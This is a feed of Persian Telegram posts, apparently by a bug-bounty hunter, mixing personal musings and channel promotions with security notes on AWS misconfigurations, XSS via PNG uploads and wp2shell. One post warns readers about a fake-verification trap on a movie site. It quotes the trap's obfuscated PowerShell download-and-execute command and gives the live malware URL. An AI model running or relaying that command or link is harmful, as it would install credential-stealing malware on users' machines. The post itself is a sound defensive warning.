Life and Learning🎭

‏اگر انسان بتواند در برابر دوست داشته نشدن دوام بياورد، تقريبا هيچ چيزى در جهان نمیتواند او را بهم بريزد.

ولی جدی چه آدم های عجیبی هستیم ، همیشه به این فکر میکنم که اگر این محدودیت ها تموم شه چی میشه؟ کلی ادم میشناسم که یارو 20 سالشه هکتار زمین کشت میکنه زعفران ، دام داری میکنه ، علاوه بر اینا کارگری هم میره، همیشه میگم اگر وضعیت اقتصاد مملکت خوب باشه این اولین کسیه که توی شهر ما میتونه ماشین BMW سوار شه ، یا حتی خیلی از جونای دیگه ، میشناسم افسر نیروانتظامیه راهور ، کشاورزی میکنه ، گچ کاری میکنه ، توی حوزه برنامه نویسی هم فعاله! واقعا آدم های پرتلاش کم نداریم که یه ثانیه بیکار نیستند ولی امان امان از وضعیت که نمیزارن این آدم ها رشد کنند! وگرنه کلی پروفسور توی ایران هستش که مشکل آب رو میتونن حل کنن ، مشکل برق رو حل کنن، مشکل آلودگی هوا حل کنند! ولی نمیزارن، وضعیت کشور خرابه ، خیلی وقتا سنگ اندازی داخل کشور اتفاق میوفته و خیلی وقتا هم بخاطر شرایط بد داخل مهاجرت میکنند ، این آب و خاک رو نباید فراموش کرد ، این آب و خاک همیشه سرافراز بوده ، کوچیک شده ولی هنوز پابرجاست، امیدوارم هر چه زودتر حقی که از ملت ایران ضایع شده برگرده هرچه زودتر ! چون این ملت گناه دارن به امید آبادانی میهن مون

پروا،تتلو،رها،کوروش،تیجی،صادق،شایع،سولو. – بال پرواز.

بهترین وایب‌ی که میتونید با یه ترکیب بگیرید همینه؛ ۳۶۵ بار قطعا پلی میکنید؛ #𝐒𝐡𝐪𝐲𝐪 Channel♥️( t.me/XPlay_List )

یکی از چیز های عجیبی که من تجربه کردم در تغییر حوزه کاریم این بود که وقتی جنگ نبود و. روی ایرانی کار میکردیم سایتی نبود که باگ نزنم روش، یعنی تارگت رو کار میکردم دیگه توی بد ترین حالت دو سه تا لو در میومد از توش ولی توی خارجی اینطوری نیست، پرایوت اومد دستم تازه یه روز بود لانچ شده بود، هیچ ریپورتی روش نشده بود، و من کار کردم روش یدونه باگ هم درنیومد، خیلییی عچیب بود برام و غم انگیز ولی خب تجربه فهمیدن فلو هایی مختلف رو برا من بیشتر کرد، و نکته ای که فهمیدم این بود که : همیشه قرار نیست باگ بزنی شاید روی یه تارگت پرایوت که فقط تو روش کار میکنی. هیچ باگی نتونی بزنی ولی روی یه پروگرام پابلیکی که 5 ساله بالاست و هر روز اپدیت میده بالای 20k بانتی بزنی #تجربه

اینو شنیدم خوشم اومد گفتم بزارم شمام بشنوید: می‌خوردن و شادبودن، آیینِ من است فارغ‌بودن ز کفر و دین، دینِ من است گفتم به عروسِ دهر: «کابینِ تو چیست؟» گفتا: «دلِ خُرَّمِ تو، کابینِ من است» خیام

حالا من که تازه خیلی وارد نیستم و خب تایمم رو سعی میکنم روی خودم بزارم تا اطرافم ولی اینو ببینید حرفای خوبی رد و بدل شده (فراق از نظریه ای که الان عموم به روحانیت داره!) https://www.youtube.com/watch?v=p-obQDz7QTM

حسین اقامیری میشناسید؟ نمیشناسید؟ برید بشناسید ، توی ایران حرف های حق زیاد زده میشه ولی منتها اینقدر زود توی نطفه خفه میشه که به گوش من و تو نمیرسه، من نمیگم آدم خوبیه ولی حرفی که ازش شنیدم خوب بوده ، انسانیت توش بوده!

کی گفته wp2shell دیگه پیدا نمیشه؟ اتفاقا خیلیم هست، موقعیت خوبیه!

چند تا پسر ایرانی یه پسر بچه رو تو جاده دیدن که دستش تفنگ اسباب بازی داره؛ و حالا یه داستان جنایی راه انداختن که بالای 15 میلیون بازدید داشته😂 @insta_newz

یکی از فایل آپلود های محبوب من aws ها هستن، چرا چون خیلی از میس کانفیگ هاشو کسی نمیدونه، وقتی ترکیب میشه با فیچر های دیگه کلی IDOR,BOLA,Insecure File UPload ایجاد میکنه! مثلا یکی از روند هاش این بود که png اپلود میکنی ولی xss میزنی ، فکر کن یه لینک png میدی به قربانی ولی کد xss روش اجرا میشه اینا قدرت aws رو میرسونه! و واقعا هم جذابن و باگ های خوبی هم میدن! فقط باید بتونی ترکیبشون کنی! میذارم یه سناریوشو به زودی ! #تجربه

سایت https://kiamovie.com/ میتونید تست کنید اصلا ، ولی انجام ندید کاراشو

سایت https://kiamovie.com/ میتونید تست کنید اصلا ، ولی انجام ندید کاراشو

فایلی که دانلود میکنه اینه : https://txupload.xyz/keywp.exe کسی Ida Pro اگر داره پیویم پیام بده ریورسش کنیم ، نکته : دانلود نکنید لینک رو ، اگر کردید اجرا نکنید، چون معلوم نیست چیه ، و طبق پاورشلی که زدن (دانلود میشه و اتومیت اجرا میشه) پس نباید اجرا کنید!

خیلی خب بریم یه مدل از initial Access رو بهتون نشون بدم، این سایته چند ماهی هست من روش فیلم وسریال نگاه میکنم ولی طبق معمول مراقبم که اپی دانلود نشه و .... نکته : بلور نمیکنم سایت رو. ولی امروز سرپرایز شدم ، وقتی لود کردم این اومد ، وقتی کامند WIN + R رو دیدم گفتم قطعا داستان داره ، داستان چیه؟ وقتی تیک ر ومیزنی که وریفای شی یه کد رو توی کلیپ برد شما سیو میکنه ، کد چیه؟ این powershell -nop -w h -c "$OXCxH=([char[]]@(72,84,84,80,83,26,15,15,84,88,85,80,76,79,65,68,73,78,71,14,88,89,90,15,75,69,89,87,80,14,69,88,69)|%{[char]($_-bxor32)})-join'';$Ga='$env:TEMP\u.exe';iwr $OXCxH -Out $G;&$lQnuk" این کد مبهم سازی شدس (obfuscated) که چیکار میکنه؟ خلاصش اینه که یه فایلی رو دانلود و اجرا میکنه مراقب باشید، همینا باعث لو رفتن اطلاعات کرومتون ، رمز و پسورداتون ، حتی در بعضی شرایط که داستان مربوط به ریورس شل باشه میتونه اکسس بده به ویندوزتون مراقب باشید ، برای اینکه بفهمی این مشکل داره علم زیادی نمیخاست که فقط کافی بود میدونستی powershell چیه win + R چیکار میکنه ولی اگر کسی ندونه میزنه و تمام

پارسال دقیقا در روز تولدم، اوایل کارم بود و تازه شروع کرده بودم به کار روی تارگت های ایرانی روی یه شرکت بزرگ ایرانی insecure file upload lead to RCE زده بودم به همراه یکی از رفقا داشتیم اکسپلویت میکردیم، در تلاش برای ورود به بازار کار ایران بودم الان هم در تلاش برای ورود به بازار کار خارج از ایران، همیشه پشتکار و داشتن استعداد کَنِه بودن به همه کمک میکنه ( بچسبین به اهدافتون حتی زیر تیر و موشک) #تولدم_مبارک🖤

@KALI_Legends

این ویدیو ساخته شده با هوش مصنوعی به حدی خداس، حتی خود رونالدو هم لایکش کرده. ⭕️ @EfshaGari | رسانه افشا ⭕️

یه عکس از یه عنکبوتی که در لیوان گیر کرده بوده نمیتونسته بیاد بیرون ، انقدر تار بافته تا بیاد بیاد بالا ولی قبلش تار هاش تموم شده و مرده. یکی نوشته بود مرد ولی نه در انتهای لیوان! حکایت خیلی از ما ها هست و تلاشی که میکنیم پروکسی | پروکسی | پروکسی ☑️ @DarkProxy

اقا سرویس aws رو خیلی بخونید،. حتی ریسپانس هدر هاشم مهمه بعضی وقتا با یه میس کانفیگ روی هدر های aws میتونی ato انجام بدی یا exposed sensitive data رو وایدیت کنی، توضیحشو میدم براتون بزار باگش رو بزنم ولی اینو خوندم یه جا اگر واقعی باشه واقعا خفنه